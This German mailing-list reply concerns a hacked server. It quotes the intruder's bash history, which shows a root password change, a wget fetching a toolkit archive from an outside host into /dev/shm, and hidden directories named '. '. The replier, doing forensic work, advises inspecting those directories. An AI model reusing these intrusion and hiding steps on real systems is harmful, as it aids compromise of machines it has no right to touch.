Re: Veränderte Dateien finden

[Frank Dietrich <bits_n_bytes@gmx.de>]

Hi Jan,

Jan Fricke <fricke@math.uni-siegen.de> wrote:
>Das root-Passwort wurde geändert. Die Bash-History war anscheinend
>nicht gelöscht, und sie enthält folgende letzte Einträge:
>
>uptime
>uname -a
>passwd
>cd /dev/shm
>wget www.freewebtown.com/aproape/cornelirina.tgz
> tar zxvf cornelirina.tgz
>cd '. '

Schon in '$mnt_altes_root/dev/shm/. ' nachgeschaut ob da noch was
drin liegt?                        ^- das Leerzeichen ist wichtig 


>cd /var/tmp
>cd '. '

Und in '$mnt_altes_root/var/tmp/. ' ?

Frank
-- 
He who knows not, and knows not that he knows not, is a fool. Shun
him. He who knows not, and knows that he knows not, is simple. Teach
him. He who knows, and knows not that he knows, is asleep. Waken him.
He who knows, and knows that he knows is wise.  Follow him.  
- Arabic Proverb